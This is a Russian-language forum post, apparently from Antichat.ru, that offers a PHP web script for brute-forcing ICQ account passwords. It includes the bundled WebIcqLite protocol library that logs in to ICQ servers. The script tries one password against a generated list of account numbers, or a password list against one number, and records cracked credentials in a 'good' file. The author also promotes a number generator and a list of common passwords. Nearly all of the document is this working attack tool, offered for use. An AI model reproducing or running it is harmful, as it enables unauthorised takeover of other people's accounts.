PHP: <? $good="good.txt"; $bad="bad.txt"; $pass="pass.txt"; $stop="stop.txt"; set_time_limit(0); ignore_user_abort(1); error_reporting(0); if (file_exists($stop)) { echo "Уберите файл".$stop."для начала брута."; exit(); } $icq = new WebIcqLite(); if(!empty($_GET["icq"]) && $_GET["brute2"]) { $files= file($pass); $icq=$_GET['icq']; for($i = 0; $i <= count($files); $i++) { $file = trim($files[$i]); list($pass1) = explode("\r\n", $file); if(!$icq->connect($icq, $pass1[$i])) { $bads = fopen($bad, 'ab'); fwrite($bads, $icq.";".$pass1."\r\n"); fclose($bads); } else { $god = fopen($good, 'ab'); fwrite($god,$icq.";".$pass1."\r\n"); fclose($god); usleep(100); } } } elseif(!empty($_GET["pass"]) && $_GET["brute"]) { $file1="uins.txt"; $files= file($file1); $pass=$_GET['pass']; for($i = 0; $i <= count($files); $i++) { $file = trim($files[$i]); list($uin) = explode("\r\n", $file); if(!$icq->connect($uin, $_GET['pass'])) { $bads = fopen($bad, 'ab'); fwrite($bads, $uin."\r\n"); fclose($bads); } else { $god = fopen($good, 'ab'); fwrite($god, $uin.";".$_POST['pass']."\r\n"); fclose($god); usleep(100); } } } else { ?> <html> <head><title>Pro-Html-Php ICQ-Brute version 1.5</title> <meta http-equiv='Content-Type' content='text/html; charset=windows-1251' /> </head> <style> html, * { background-color: #706A58; color: white; font-size: 11px; font-family: Tahoma; } input, textarea { border: solid 1px; border-color:#FF0000; } pre{ font-size: 12px; font-family: Tahoma; } div{ font-size: 20px; font-family: Tahoma; background-color: #000033; } </style> <body> <CENTER><div>Pro-Html-Php ICQ-Brute version 1.5</div></CENTER> <CENTER><p><fieldset><legend>Брут:</legend> <form method="GET"> Введите пароль, который будет брутиться <br/>ко всем номерам в файле uins.txt<br/> <input name="pass" value=""/><br/><BR> <INPUT TYPE="hidden" name="brute" value="1"> <input type="submit" value="Начать брут"/> </form><P> <form method="GET"> Введите icq номер <br/>к которому будут подбераться пароли из <?echo $pass;?><br/> <input name="icq" value=""/><br/><BR> <INPUT TYPE="hidden" name="brute2" value="1"> <input type="submit" value="Начать брут"/> </form><P> </fieldset> <BR> <p><fieldset><legend>Генератор:</legend><form method="GET">Начальный номер: <P> <input type="text" name="uin_start" /> </p> <p>Конечный номер: <BR> <input type="text" name="uin_end" /> <INPUT TYPE="hidden" name="gen" value="1"> </p> <p> <? if(!empty($_GET["uin_start"]) && $_GET["gen"]) { $uin1=$_GET["uin_start"]; $uin2=$_GET["uin_end"]; $gen = fopen("uins.txt", 'a+'); for($uinR = $uin1; $uinR <= $uin2; $uinR++) { fwrite($gen, $uins.";".$pass."\r\n"); } echo "Done."; fclose($gen); } ?></p> <p> <input type="submit" value="Генирировать" /> </fieldset></p> </form> <?php $file="uins.txt"; $open=file($file); $open_1=file('bad.txt'); $open_2=file('good.txt'); if (isset($_GET["clean"]) && $_GET["clean"] == "uins") { $handle = fopen($file, "w"); fclose($handle); echo "<b><font color=\"green\">Внимание:</font> файл ".$file." очищен</b><br><br>"; } if (isset($_GET["clean"]) && $_GET["clean"] == "bad") { $handle = fopen($bad, "w"); fclose($handle); echo "<b><font color=\"green\">Внимание:</font> файл ".$bad." очищен</b><br><br>"; } if (isset($_GET["clean"]) && $_GET["clean"] == "good") { $handle = fopen($good, "w"); fclose($handle); echo "<b><font color=\"green\">Внимание:</font> файл ".$good." очищен</b><br><br>"; } if(!file_exists($file)) { echo "Необходимо создать файл <font style='color: #ED63A5'>".$file."</font> и вписать в него номера для брута<br />"; } else { if(filesize($file) == 0 ) { echo "Файл <font style='color: #ED63A5'>".$file."</font> пустой...необходимо вписать в него номера для брута<br />"; } else { echo "Файл <font style='color: #ED63A5'>".$file."</font> имеет ".count($open)." номеров<br /><A HREF=\"?clean=uins\">Очистить файл</A><BR>"; echo "Файл <font style='color: #ED63A5'>bad.txt</font> имеет ".count($open_1)." номеров<br /><A HREF=\"?clean=bad\">Очистить файл</A><BR>"; echo "Файл <font style='color: #ED63A5'>good.txt</font> имеет ".count($open_2)." номеров<br /><A HREF=\"?clean=good\">Очистить файл</A><BR>"; } if(filesize($good) == 0 ) {echo "Ещё ничего не сбручено!<P><BR>";} else{echo "Сбручено ".count($open_2)." номера(ов).<br><pre>".file_get_contents($good)."</pre><BR><P>";} } ?> All for <A HREF="http://Antichat.ru">Antichat.ru</A>.</CENTER> </body> </html> <? } PHP: ?> <?php /* * WebIcqLite: ICQ messages sender. v3.2b * (C) 2006 Sergey Akudovich, http://intrigue.ru/ * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * See http://www.gnu.org/copyleft/lesser.html * */ class WebIcqLite_TLV { var $type; var $size; var $error; var $types = array ( 'UIN' => 1, // 0x01 'DATA' => 2, // 0x02 'CLIENT' => 3, // 0x03 'ERROR_URL' => 4, // 0x04 'RECONECT_HERE' => 5, // 0x05 'COOKIE' => 6, // 0x06 'SNAC_VERSION' => 7, // 0x07 'ERROR_SUBCODE' => 8, // 0x08 'DISCONECT_REASON' => 9, // 0x09 'RECONECT_HOST' => 10, // 0x0A 'URL' => 11, // 0x0B 'DEBUG_DATA' => 12, // 0x0C 'SERVICE' => 13, // 0x0D 'CLIENT_COUNTRY' => 14, // 0x0E 'CLIENT_LNG' => 15, // 0x0F 'SCRIPT' => 16, // 0x10 'USER_EMAIL' => 17, // 0x11 'OLD_PASSWORD' => 18, // 0x12 'REG_STATUS' => 19, // 0x13 'DISTRIB_NUMBER' => 20, // 0x14 'PERSONAL_TEXT' => 21, // 0x15 'CLIENT_ID' => 22, // 0x16 'CLI_MAJOR_VER' => 23, // 0x17 'CLI_MINOR_VER' => 24, // 0x18 'CLI_LESSER_VER' => 25, // 0x19 'CLI_BUILD_NUMBER' => 26, // 0x1A // 'PASSWORD' => 37 ); function setTLV($type, $value, $length = false) { switch ($length) { case 1: $format = 'c'; break; case 2: $format = 'n'; break; case 4: $format = 'N'; break; default: $format = 'a*'; break; } if ($length === false) { $length = strlen($value); } return pack('nn'.$format, $this->types[$type], $length, $value); } function getTLV($data) { $arr = unpack('n2', substr($data, 0, 4)); $this->type = $arr[1]; $this->size = $arr[2]; return substr($data, 4, $this->size); } function getTLVFragment($data) { $frg = unpack('cid/cversion/nsize', substr($data, 0, 4)); $frg['data'] = substr($data, 4, $frg['size']); return $frg; } } class WebIcqLite_SNAC extends WebIcqLite_TLV { var $request_id = 0; var $uin; function setSNAC0102() { $this->request_id++; $out = pack('nnnN', 1, 2, 0, $this->request_id); $out .= pack('n*', 1, 3, 272, 650); $out .= pack('n*', 2, 1, 272, 650); $out .= pack('n*', 3, 1, 272, 650); $out .= pack('n*', 21, 1, 272, 650); $out .= pack('n*', 4, 1, 272, 650); $out .= pack('n*', 6, 1, 272, 650); $out .= pack('n*', 9, 1, 272, 650); $out .= pack('n*', 10, 1, 272, 650); return $out; } function setSNAC0406($uin, $message) { $this->request_id++; $cookie = microtime(); $out = pack('nnnNdnca*', 4, 6, 0, $this->request_id, $cookie, 2, strlen($uin), $uin); $capabilities = pack('H*', '094613494C7F11D18222444553540000'); // utf-8 support // '97B12751243C4334AD22D6ABF73F1492' rtf support $data = pack('nd', 0, $cookie).$capabilities; $data .= pack('nnn', 10, 2, 1); $data .= pack('nn', 15, 0); $data .= pack('nnvvddnVn', 10001, strlen($message)+62, 27, 8, 0, 0, 0, 3, $this->request_id); $data .= pack('nndnn', 14, $this->request_id, 0, 0, 0); //45 $data .= pack('ncvnva*', 1, 0, 0, 1, (strlen($message)+1), $message); $data .= pack('H*', '0000000000FFFFFF00'); $out .= $this->setTLV('RECONECT_HERE', $data); $out .= $this->setTLV('CLIENT', ''); return $out; } function setSNAC0406offline($uin, $message) { $this->request_id++; $cookie = microtime(); $out = pack('nnnNdnca*', 4, 6, 0, $this->request_id, $cookie, 1, strlen($uin), $uin); $data = pack('ccnc', 5, 1, 1, 1); $data .= pack('ccnnna*', 1, 1, strlen($message)+4, 3, 0, $message); $out .= $this->setTLV('DATA', $data); $out .= $this->setTLV('CLIENT', ''); $out .= $this->setTLV('COOKIE', ''); return $out; } function getSNAC0407($body) { if (strlen($body)) { $msg = unpack('nfamily/nsubtype/nflags/Nrequestid/N2msgid/nchannel/cnamesize', $body); if ($msg['family'] == 4 && $msg['subtype'] == 7) { $body = substr($body, 21); $from = substr($body, 0, $msg['namesize']); $channel = $msg['channel']; $body = substr($body, $msg['namesize']); $msg = unpack('nwarnlevel/nTLVnumber', $body); $body = substr($body, 4); for ($i = 0; $i <= $msg['TLVnumber']; $i++) { $part = $this->getTLV($body); $body = substr($body, 4 + $this->size); if ($channel == 1 && $this->type == 2) { while (strlen($part)) { $frg = $this->getTLVFragment($part); if ($frg['id'] == 1 && $frg['version'] == 1) { return array('from' => $from, 'message' => substr($frg['data'], 4)); } $part = substr($part, 4+$frg['size']); } return false; } } } } return false; } function dump($str) { $f = fopen('dump', 'a'); fwrite($f, $str); fclose($f); } } class WebIcqLite_FLAP extends WebIcqLite_SNAC{ var $socet; var $command = 0x2A; var $channel; var $sequence; var $body; var $info = array(); var $size_flap; PHP: function WebIcqLite_FLAP() { $this->sequence = rand(1, 30000); } function getFLAP() { if($this->socet && !socket_last_error($this->socet)) { $header = socket_read($this->socet, 6); if ($header) { $header = unpack('c2channel/n2size', $header); $this->channel = $header['channel2']; $this->size_flap = $header['size2']; $this->body = socket_read($this->socet, $header['size2']); return true; } else { return false; } } } function parseCookieFLAP() { $this->getFLAP(); $this->info = array(); while($this->body != '') { $info = $this->getTLV($this->body); $key = array_search($this->type, $this->types); if($key) { $this->info[$key] = $info; } $this->body = substr($this->body, ($this->size+4)); } } function parseAnswerFLAP() { $this->getFLAP(); $array = unpack('n3int/Nint', $this->body); while ($array['int'] != $this->request_id) { $this->getFLAP(); $array = unpack('n3int/Nint', $this->body); } $this->error = 'Unknown serwer answer'; if ($array['int1'] == 4) { switch ($array['int2']) { case 1: $this->error = 'Error to sent message'; return false; break; case 0x0c: return true; break; } } $this->error = 'Unknown serwer answer'; return false; } function prepare() { $this->sequence++; $out = pack('ccnn', $this->command, $this->channel, $this->sequence, strlen($this->body)).$this->body; return $out; } function login($uin, $password) { $this->getFLAP(); $this->uin = $uin; $this->body .= $this->setTLV('UIN', "$uin"); $this->body .= $this->setTLV('DATA', $this->xorpass($password)); $this->body .= $this->setTLV('CLIENT', 'ICQBasic'); $this->body .= $this->setTLV('CLIENT_ID', 266, 2); $this->body .= $this->setTLV('CLI_MAJOR_VER', 20, 2); $this->body .= $this->setTLV('CLI_MINOR_VER', 34, 2); $this->body .= $this->setTLV('CLI_LESSER_VER', 0, 2); $this->body .= $this->setTLV('CLI_BUILD_NUMBER', 2321, 2); $this->body .= $this->setTLV('DISTRIB_NUMBER', 1085, 4); $this->body .= $this->setTLV('CLIENT_LNG', 'en'); $this->body .= $this->setTLV('CLIENT_COUNTRY', 'us'); $this->channel = 1; $pack = $this->prepare(); socket_write($this->socet, $pack, strlen($pack)); $this->parseCookieFLAP(); return ($this->size_flap > 0x100) ? true : false; $this->body = 0x0000; $pack = $this->prepare(); socket_write($this->socet, $pack, strlen($pack)); $this->close(); if(isset($this->info['RECONECT_HERE'])) { $url = explode(':', $this->info['RECONECT_HERE']); if(!$this->open($url)) { $this->error = isset($this->info['DISCONECT_REASON']) ? $this->info['DISCONECT_REASON'] : 'Unable to reconnect'; return false; } } else { $this->error = isset($this->info['DISCONECT_REASON']) ? $this->info['DISCONECT_REASON'] : 'UIN blocked, please try again 20 min later.'; return false; } $this->getFLAP(); $this->body .= $this->setTLV('COOKIE', $this->info['COOKIE']); $pack = $this->prepare(); if (!socket_write($this->socet, $pack, strlen($pack))) { $this->error = 'Can`t send cookie, server close connection'; return false; } $this->getFLAP(); $this->body = $this->setSNAC0102(); $pack = $this->prepare(); if (!socket_write($this->socet, $pack, strlen($pack))) { $this->error = 'Can`t send ready signal, server close connection'; return false; } return true; } function write_message($uin, $message) { $this->body = $this->setSNAC0406($uin, $message); $pack = $this->prepare(); if (!socket_write($this->socet, $pack, strlen($pack))) { $this->error = 'Can`t send message, server close connection'; return false; } if (! $this->parseAnswerFLAP()) { // try to send offline message $this->body = $this->setSNAC0406offline($uin, $message); $pack = $this->prepare(); if (!socket_write($this->socet, $pack, strlen($pack))) { $this->error = 'Can`t send offline message, server close connection'; return false; } if (! $this->parseAnswerFLAP()) { return false; } else { $this->error = 'Client is offline. Message sent to server.'; return false; } } return true; } function read_message() { while($this->getFLAP()) { $message = $this->getSNAC0407($this->body); if($message){ return $message; } } return false; } function xorpass($pass) { $roast = array(0xF3, 0x26, 0x81, 0xC4, 0x39, 0x86, 0xDB, 0x92, 0x71, 0xA3, 0xB9, 0xE6, 0x53, 0x7A, 0x95, 0x7c); $roasting_pass = ''; for ($i=0; $i<strlen($pass); $i++) { $roasting_pass .= chr($roast[$i] ^ ord($pass{$i})); } return($roasting_pass); } function open($url = array('login.icq.com', 5190)) { $this->socet = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); if ($this->socet < 0 || $this->socet === false) { $this->error = "socket_create() failed: reason: " . socket_strerror($this->socet); return false; } $result = socket_connect($this->socet, gethostbyname($url[0]), $url[1]); if ($result < 0 || $result === false) { $this->error = "socket_connect() failed.\nReason: ($result) " . socket_strerror(socket_last_error($socket)); return false; } return true; } function close() { return socket_close($this->socet); } } class WebIcqLite extends WebIcqLite_FLAP { function WebIcqLite () { $this->WebIcqLite_FLAP(); } function is_connected() { if(!$this->socet || socket_last_error($this->socet)) { $this->error = socket_strerror(socket_last_error($socket)); return false; } return true; } function connect($uin, $pass) { if (!$this->open()) { return false; } return $this->login($uin, $pass); } function disconnect() { return $this->close(); } function get_message() { return $this->read_message(); } function send_message($uin, $message) { return $this->write_message($uin, $message); } } ?> HoRmOlD Скрипт для ICQ-брута + Бонус + Генератор! Для запуска вам надо просто ввести пароль который будет подбераться к номерам из текстового файла. В этой версии я сделал вам два сюрприза! Это: Генератор номеров(вам просто надо написать начальный и конечный номер для генерации!) и базу частых паролей!! З.Ы. Пришлось разделить из-за большого кода..